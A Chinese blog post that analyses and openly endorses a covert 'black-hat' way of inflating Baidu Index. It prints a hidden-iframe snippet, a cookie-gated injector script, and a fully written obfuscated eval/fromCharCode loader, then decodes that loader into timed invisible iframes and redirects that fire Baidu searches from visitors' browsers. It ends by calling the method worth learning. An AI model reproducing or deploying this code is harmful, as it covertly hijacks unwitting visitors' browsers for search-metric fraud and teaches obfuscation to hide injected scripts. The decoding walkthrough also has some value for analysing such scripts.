分析极隐蔽黑帽刷百度指数方法

百度指数的原理.
百度指数是跟根据某个关键词每天有多少人搜索而形成的指数,一个词搜索的人越多他的指数就越高,那怎么去刷呢?只要模拟用户去在百度搜某一个关键词就可以.
那么就用一种思路了,在一个流量不错的网站里加一个iframe框架,里面的url指向搜索后的某个网址就可以了.例如以下代码:

<iframe style=”display: none;” src=”http://www.baidu.com/s?wd=%E8%A8%BE%E6%B8%85%E4%BB%81″></iframe>

好了,接下来的问题就是如何来隐藏这段代码使他不让百度发现了.今天看到一个经常浏览的网站加入了一个极其隐蔽的方法,我们来一起看一下(网站不方便透露).

在这网站里面的一个js文件又一段代码:

function jb51tuitan(){
if (getCookie(‘jb51popped’)==”){
//要执行的代码或一些操作
setCookie(“jb51popped”,”ok”); //写入cookies表示已经执行过了。
document.write(‘<iframe src=\”http://www.xxx.net/bbs/jm/d.html\” frameborder=\”0\” width=\”0\” height=\”0\”></iframe>‘);
}
}
jb51tuitan();

接下来,我们查看一下这个网址里面都有什么内容。下面是所有的源代码:这段代码比较可疑,我们来分析一下:
1.代码定义了一个jb51tuitan函数最后又调用了它,意思是直接执行函数里面的代码.
2.函数内部读取了一个名为jb51popped的cookie名,如果有的话就跳过执行下面的代码,如果没有就设置它,设置cookie的目的是为了用户访问确保一天只加载一次。
3.如果第一次访问则加载一个iframe网址为:http://www.xxx.com/a.html。

<script>
OlOlll=”(x)”;OllOlO=” String”;OlllOO=”tion”;OlOllO=”Code(x)}”;OllOOO=”Char”;OlllOl=”func”;OllllO=” l = “;OllOOl=”.from”;OllOll=”{return”;Olllll=”var”;eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));eval(“”+O(99002861)+O(109895577)+O(98014857)+O(115833975)+O(107918909)+O(99995203)+O(108905841)+O(114848009)+O(45541845)+O(117810401)+O(112861946)+O(103959670)+O(114846312)+O(99993759)+O(106928380)+O(108902260)+O(39605667)+O(33663021)+O(59403126)+O(103959061)+O(100980416)+O(112861629)+O(96035715)+O(107916716)+O(99991488)+O(31683927)+O(113852463)+O(112866053)+O(98010109)+O(60392490)+O(91081294)+O(33661686)+O(91085973)+O(33668855)+O(31687088)+O(100984513)+O(112862495)+O(96030111)+O(107913321)+O(99997195)+O(97023102)+O(109894107)+O(112861881)+O(99007338)+O(99996915)+O(112862227)+O(60397422)+O(91088907)+O(33661069)+O(47520824)+O(91086786)+O(33667138)+O(31685690)+O(117810981)+O(103952748)+O(99004814)+O(114849691)+O(102969100)+O(60393247)+O(91080194)+O(33663121)+O(47529049)+O(91085720)+O(33666373)+O(31689106)+O(102963852)+O(99994409)+O(103954438)+O(101977146)+O(102963965)+O(114847158)+O(60396892)+O(91086730)+O(33662758)+O(47524864)+O(91087025)+O(33669069)+O(31682068)+O(103957102)+O(99006350)+O(60395679)+O(91080008)+O(33667724)+O(106927365)+O(99008792)+O(99000357)+O(49505294)+O(91083611)+O(33669082)+O(61386964)+O(59404950)+O(46537976)+O(103955396)+O(100985491)+O(112869056)+O(96033487)+O(107917716)+O(99994982)+O(61382080)+O(33669021)+O(40592394)+O(58418342)+O(9904820)+O(99001145)+O(109898227)+O(98016564)+O(115839526)+O(107918290)+O(99998808)+O(108906168)+O(114842574)+O(45540456)+O(117818704)+O(112869617)+O(103952312)+O(114844013)+O(99998529)+O(106926440)+O(108901138)+O(39609266)+O(33665619)+O(59405044)+O(103959579)+O(100987020)+O(112865101)+O(96039500)+O(107911094)+O(99997107)+O(31686455)+O(113853988)+O(112861931)+O(98014635)+O(60394436)+O(91082115)+O(33662952)+O(91080217)+O(33668486)+O(31686310)+O(100988335)+O(112869289)+O(96039132)+O(107918665)+O(99999400)+O(97024638)+O(109895072)+O(112865130)+O(99004781)+O(99996461)+O(112863717)+O(60393292)+O(91084494)+O(33665695)+O(47522256)+O(91085694)+O(33667690)+O(31684385)+O(117814484)+O(103951976)+O(99000092)+O(114844647)+O(102968618)+O(60391007)+O(91083141)+O(33662900)+O(47529714)+O(91082861)+O(33667757)+O(31689268)+O(102964194)+O(99995684)+O(103956995)+O(101973956)+O(102960975)+O(114846312)+O(60391335)+O(91086058)+O(33662959)+O(47526787)+O(91084462)+O(33662292)+O(31687316)+O(103953888)+O(99001934)+O(60392007)+O(91082605)+O(33666944)+O(106923461)+O(99005915)+O(99002608)+O(48518222)+O(91084960)+O(33666774)+O(61382444)+O(59401105)+O(46535893)+O(103954868)+O(100987605)+O(112867165)+O(96035013)+O(107919574)+O(99997788)+O(61385516)+O(33660935)+O(40596228)+O(58416157)+O(9905525)+O(99004986)+O(109893963)+O(98014250)+O(115835854)+O(107911956)+O(99996850)+O(108902937)+O(114848289)+O(45540241)+O(117816093)+O(112867219)+O(103959992)+O(114840965)+O(99999547)+O(106928718)+O(108904246)+O(39601897)+O(33660142)+O(59403590)+O(113855656)+O(98016579)+O(112863210)+O(103959161)+O(110886736)+O(114842132)+O(61384723)+O(31680518)+O(33667386)+O(40598771)+O(58411162)+O(9901611)+O(99006911)+O(109890925)+O(98014229)+O(115836288)+O(107912853)+O(99991813)+O(108904587)+O(114847744)+O(45547172)+O(117810522)+O(112864505)+O(103950099)+O(114847552)+O(99993893)+O(106929588)+O(108905629)+O(39604733)+O(33661093)+O(113851837)+O(99990696)+O(114841609)+O(83167745)+O(103952589)+O(107912991)+O(99995773)+O(109899415)+O(115831503)+O(114849562)+O(39602115)+O(91081593)+O(33668164)+O(99006299)+O(109891915)+O(98018091)+O(115839670)+O(107914084)+O(99992688)+O(108909901)+O(114842335)+O(45542327)+O(101978018)+O(99997007)+O(114840936)+O(68311738)+O(106923874)+O(99999437)+O(107918056)+O(99998837)+O(108903080)+O(114841423)+O(65349547)+O(119798846)+O(72275214)+O(99009365)+O(39609593)+O(91089167)+O(38614468)+O(106921697)+O(99003187)+O(99002352)+O(49509950)+O(91084478)+O(38614786)+O(40591079)+O(45545334)+O(113858755)+O(112862248)+O(98018288)+O(60390532)+O(91082110)+O(38617063)+O(102963726)+O(114840754)+O(114843302)+O(110887691)+O(57426024)+O(46530166)+O(46530859)+O(117811770)+O(117812171)+O(117817127)+O(45547591)+O(113852430)+O(99993180)+O(109897568)+O(113850305)+O(112866952)+O(118805020)+O(45543350)+O(108905541)+O(99998604)+O(114840315)+O(46535688)+O(97020043)+O(97029022)+O(113852979)+O(46538449)+O(104943962)+O(107910122)+O(46531695)+O(106925728)+O(99002100)+O(99003335)+O(49507056)+O(45547444)+O(102968972)+O(114847712)+O(107914017)+O(106929259)+O(91081433)+O(38613659)+O(58412359)+O(31688340)+O(91081352)+O(33668907)+O(43561012)+O(48515234)+O(47528016)+O(47529935)+O(40594445)+O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 </script>

复制上面的代码放到文本里面,你会被吓一跳,这是什么js代码,其实慢慢看一下,这是一个js加密代码,上面的几句话时关键,我格式化一下上面的几句话大家再看一下:

OlOlll = “(x)”;
OllOlO = ” String”;
OlllOO = “tion”;
OlOllO = “Code(x)}”;
OllOOO = “Char”;
OlllOl = “func”;
OllllO = ” l = “;
OllOOl = “.from”;
OllOll = “{return”;
Olllll = “var”;
eval(Olllll + OllllO + OlllOl + OlllOO + OlOlll + OllOll + OllOlO + OllOOl + OllOOO + OlOllO);

这里面用变量分拆了很多字符串然后再加起来,最后用eval函数执行它,上面的代码解析后就变成了以下的代码:

function l (a) {
    return String.fromCharCode(a)
}

这样一看就简单多了,里面定义了一个名为l的函数,可以给他传来一个变量,变量为数值,用javascript内置方法String.fromCharCode去解析这个变量。
这个String.fromCharCode方法意思是根据 Unicode 值显示字符串。详细可查看:http://www.w3school.com.cn/jsref/jsref_fromCharCode.asp
既然有了名为l的函数,我们就可以继续解析下面的一串代码了:

eval(l(79) + l(61) + l(102) + l(117) + l(110) + l(99) + l(116) + l(105) + l(111) + l(110) + l(40) + l(109) + l(41) + l(123) + l(114) + l(101) + l(116) + l(117) + l(114) + l(110) + l(32) + l(83) + l(116) + l(114) + l(105) + l(110) + l(103) + l(46) + l(102) + l(114) + l(111) + l(109) + l(67) + l(104) + l(97) + l(114) + l(67) + l(111) + l(100) + l(101) + l(40) + l(77) + l(97) + l(116) + l(104) + l(46) + l(102) + l(108) + l(111) + l(111) + l(114) + l(40) + l(109) + l(47) + l(49) + l(48) + l(48) + l(48) + l(48) + l(41) + l(47) + l(57) + l(57) + l(41) + l(59) + l(125));

我们可以用console.log输出一下:

console.log(l(79) + l(61) + l(102) + l(117) + l(110) + l(99) + l(116) + l(105) + l(111) + l(110) + l(40) + l(109) + l(41) + l(123) + l(114) + l(101) + l(116) + l(117) + l(114) + l(110) + l(32) + l(83) + l(116) + l(114) + l(105) + l(110) + l(103) + l(46) + l(102) + l(114) + l(111) + l(109) + l(67) + l(104) + l(97) + l(114) + l(67) + l(111) + l(100) + l(101) + l(40) + l(77) + l(97) + l(116) + l(104) + l(46) + l(102) + l(108) + l(111) + l(111) + l(114) + l(40) + l(109) + l(47) + l(49) + l(48) + l(48) + l(48) + l(48) + l(41) + l(47) + l(57) + l(57) + l(41) + l(59) + l(125))

输出结果为:

O=function(m){return String.fromCharCode(Math.floor(m/10000)/99);}

是一个O函数,这是一个加密函数。
有了这个函数我们就可以以同样的方法解析下面的代码了:

console.log(“” + O(99002861) + O(109895577) + O(98014857) + O(115833975) + O(107918909) + O(99995203) + O(108905841) + O(114848009) + O(45541845) + O(117810401) + O(112861946) + O(103959670) + O(114846312) + O(99993759) + O(106928380) + O(108902260) + O(39605667) + O(33663021) + O(59403126) + O(103959061) + O(100980416) + O(112861629) + O(96035715) + O(107916716) + O(99991488) + O(31683927) + O(113852463) + O(112866053) + O(98010109) + O(60392490) + O(91081294) + O(33661686) + O(91085973) + O(33668855) + O(31687088) + O(100984513) + O(112862495) + O(96030111) + O(107913321) + O(99997195) + O(97023102) + O(109894107) + O(112861881) + O(99007338) + O(99996915) + O(112862227) + O(60397422) + O(91088907) + O(33661069) + O(47520824) + O(91086786) + O(33667138) + O(31685690) + O(117810981) + O(103952748) + O(99004814) + O(114849691) + O(102969100) + O(60393247) + O(91080194) + O(33663121) + O(47529049) + O(91085720) + O(33666373) + O(31689106) + O(102963852) + O(99994409) + O(103954438) + O(101977146) + O(102963965) + O(114847158) + O(60396892) + O(91086730) + O(33662758) + O(47524864) + O(91087025) + O(33669069) + O(31682068) + O(103957102) + O(99006350) + O(60395679) + O(91080008) + O(33667724) + O(106927365) + O(99008792) + O(99000357) + O(49505294) + O(91083611) + O(33669082) + O(61386964) + O(59404950) + O(46537976) + O(103955396) + O(100985491) + O(112869056) + O(96033487) + O(107917716) + O(99994982) + O(61382080) + O(33669021) + O(40592394) + O(58418342) + O(9904820) + O(99001145) + O(109898227) + O(98016564) + O(115839526) + O(107918290) + O(99998808) + O(108906168) + O(114842574) + O(45540456) + O(117818704) + O(112869617) + O(103952312) + O(114844013) + O(99998529) + O(106926440) + O(108901138) + O(39609266) + O(33665619) + O(59405044) + O(103959579) + O(100987020) + O(112865101) + O(96039500) + O(107911094) + O(99997107) + O(31686455) + O(113853988) + O(112861931) + O(98014635) + O(60394436) + O(91082115) + O(33662952) + O(91080217) + O(33668486) + O(31686310) + O(100988335) + O(112869289) + O(96039132) + O(107918665) + O(99999400) + O(97024638) + O(109895072) + O(112865130) + O(99004781) + O(99996461) + O(112863717) + O(60393292) + O(91084494) + O(33665695) + O(47522256) + O(91085694) + O(33667690) + O(31684385) + O(117814484) + O(103951976) + O(99000092) + O(114844647) + O(102968618) + O(60391007) + O(91083141) + O(33662900) + O(47529714) + O(91082861) + O(33667757) + O(31689268) + O(102964194) + O(99995684) + O(103956995) + O(101973956) + O(102960975) + O(114846312) + O(60391335) + O(91086058) + O(33662959) + O(47526787) + O(91084462) + O(33662292) + O(31687316) + O(103953888) + O(99001934) + O(60392007) + O(91082605) + O(33666944) + O(106923461) + O(99005915) + O(99002608) + O(48518222) + O(91084960) + O(33666774) + O(61382444) + O(59401105) + O(46535893) + O(103954868) + O(100987605) + O(112867165) + O(96035013) + O(107919574) + O(99997788) + O(61385516) + O(33660935) + O(40596228) + O(58416157) + O(9905525) + O(99004986) + O(109893963) + O(98014250) + O(115835854) + O(107911956) + O(99996850) + O(108902937) + O(114848289) + O(45540241) + O(117816093) + O(112867219) + O(103959992) + O(114840965) + O(99999547) + O(106928718) + O(108904246) + O(39601897) + O(33660142) + O(59403590) + O(113855656) + O(98016579) + O(112863210) + O(103959161) + O(110886736) + O(114842132) + O(61384723) + O(31680518) + O(33667386) + O(40598771) + O(58411162) + O(9901611) + O(99006911) + O(109890925) + O(98014229) + O(115836288) + O(107912853) + O(99991813) + O(108904587) + O(114847744) + O(45547172) + O(117810522) + O(112864505) + O(103950099) + O(114847552) + O(99993893) + O(106929588) + O(108905629) + O(39604733) + O(33661093) + O(113851837) + O(99990696) + O(114841609) + O(83167745) + O(103952589) + O(107912991) + O(99995773) + O(109899415) + O(115831503) + O(114849562) + O(39602115) + O(91081593) + O(33668164) + O(99006299) + O(109891915) + O(98018091) + O(115839670) + O(107914084) + O(99992688) + O(108909901) + O(114842335) + O(45542327) + O(101978018) + O(99997007) + O(114840936) + O(68311738) + O(106923874) + O(99999437) + O(107918056) + O(99998837) + O(108903080) + O(114841423) + O(65349547) + O(119798846) + O(72275214) + O(99009365) + O(39609593) + O(91089167) + O(38614468) + O(106921697) + O(99003187) + O(99002352) + O(49509950) + O(91084478) + O(38614786) + O(40591079) + O(45545334) + O(113858755) + O(112862248) + O(98018288) + O(60390532) + O(91082110) + O(38617063) + O(102963726) + O(114840754) + O(114843302) + O(110887691) + O(57426024) + O(46530166) + O(46530859) + O(117811770) + O(117812171) + O(117817127) + O(45547591) + O(46531695) + O(106925728) + O(99002100) + O(99003335) + O(49507056) + O(45547444) + O(102968972) + O(114847712) + O(107914017) + O(106929259) + O(91081433) + O(38613659) + O(58412359) + O(31688340) + O(91081352) + O(33668907) + O(43561012) + O(48515234) + O(47528016) + O(47529935) + O(40594445) + O(58415311) + O(33664246) + O(40599794) + O(58412638) + O(9901375) + O(99005553) + O(109899959) + O(98015453) + O(115838845) + O(107912919) + O(99999834) + O(108907210) + O(114848165) + O(45543442) + O(117819361) + O(112869393) + O(103953785) + O(114843240) + O(99992088) + O(106929100) + O(108906704) + O(39602161) + O(33662844) + O(113858945) + O(99998488) + O(114849415) + O(83162260) + O(103952014) + O(107915378) + O(99995969) + O(109892967) + O(115831750) + O(114843076) + O(39601376) + O(91089134) + O(33664341) + O(99001874) + O(109893568) + O(98017903) + O(115838962) + O(107916605) + O(99999768) + O(108903719) + O(114840461) + O(45547093) + O(101975337) + O(99994561) + O(114843090) + O(68317043) + O(106920375) + O(99993818) + O(107911350) + O(99994187) + O(108908006) + O(114840042) + O(65345727) + O(119796544) + O(72277512) + O(99006807) + O(39603779) + O(91089354) + O(38616804) + O(106926893) + O(99006149) + O(99005146) + O(48510635) + O(91088871) + O(38616729) + O(40592157) + O(45541992) + O(113852208) + O(112864731) + O(98013892) + O(60396495) + O(91089187) + O(38614441) + O(102961455) + O(114841033) + O(114840721) + O(110881444) + O(57429243) + O(46539104) + O(46535617) + O(117813175) + O(117819233) + O(117812774) + O(45546692) + O(97028220) + O(97027809) + O(113855974) + O(46531233) + O(104946209) + O(107910498) + O(46536483) + O(106926817) + O(99007516) + O(99003318) + O(48516283) + O(45543376) + O(102961529) + O(114847456) + O(107914913) + O(106928935) + O(91086194) + O(38613822) + O(58412678) + O(31688593) + O(91083187) + O(33668698) + O(43562790) + O(52473731) + O(47527151) + O(47524627) + O(47522538) + O(40594790) + O(58415821) + O(33669847) + O(40590596) + O(58416393) + O(9900148) + O(99007527) + O(109891059) + O(98013627) + O(115836725) + O(107919836) + O(99994518) + O(108900849) + O(114841748) + O(45540662) + O(117811442) + O(112862980) + O(103951912) + O(114845824) + O(99997597) + O(106923596) + O(108900900) + O(39604398) + O(33661226) + O(59403087) + O(46530348) + O(113859197) + O(98019538) + O(112866507) + O(103955456) + O(110883647) + O(114844363) + O(61380697) + O(31689043) + O(33665150) + O(40599512) + O(58418590))

输出结果为:

document.writeln(“<iframe src=\”\” frameborder=\”0\” width=\”0\” height=\”0\” id=\”ldd2\”></iframe>”);
document.writeln(“<iframe src=\”\” frameborder=\”0\” width=\”0\” height=\”0\” id=\”ldd1\”></iframe>”);
document.writeln(“<script> “);
document.writeln(“setTimeout(\”document.getElementById(\’ldd2\’).src=\’http://www.xxxx.com/b.html\’; \”,100);”);
document.writeln(“setTimeout(\”document.getElementById(\’ldd1\’).src=\’http://www.xxxx.com/c.html\’; \”,5000);”);
document.writeln(“</script> “);

ok,这下明了了,上面这段代码就是这个页面所有的代码的真面目了。
这段代码延迟调用两个页面,延迟100毫秒载入一个url为http://www.xxxx.com/a.html的框架。
一个延迟5000毫秒载入一个url为http://www.xxxx.com/b.html的框架。

我们再载入这两个页面看一下。打开一下发现还是类似这个页面的加密js。具体代码就不贴出来了。
解析后第一个页面的代码就是这样的:

window.location.href=’http://www.baidu.com/s?word=SEO&tn=sitehao123&ie=utf-8′;

意思是直接代码网址:http://www.baidu.com/s?word=seo&tn=sitehao123&ie=utf-8
第二个页面的代码是这样的:

function aa()
{
   window.location.href=’http://www.baidu.com/s?tn=sitehao123&ie=utf-8&bs=seo&f=3&rsv_bp=1&wd=seo%E4…%A1%8C&rsv_sug3=1&rsv_sug4=42&rsv_sug1=1&oq=seo&rsv_sug2=1&rsp=0&rsv_sug=1′;
}
setTimeout(aa,1500);

意思是延迟1500毫秒载入http://www.baidu.com/s?tn=sitehao123&ie=utf-8&bs=seo&f=3&rsv_bp=1&wd=seo%E4…%A1%8C&rsv_sug3=1&rsv_sug4=42&rsv_sug1=1&oq=seo&rsv_sug2=1&rsp=0&rsv_sug=1这个网址。

直到这一步,庐山的真面目就彻底浮现了,值得一提的是这个作者所设置的百度网址是带有很多参数的,尽量模拟用户的行为,值得学习!

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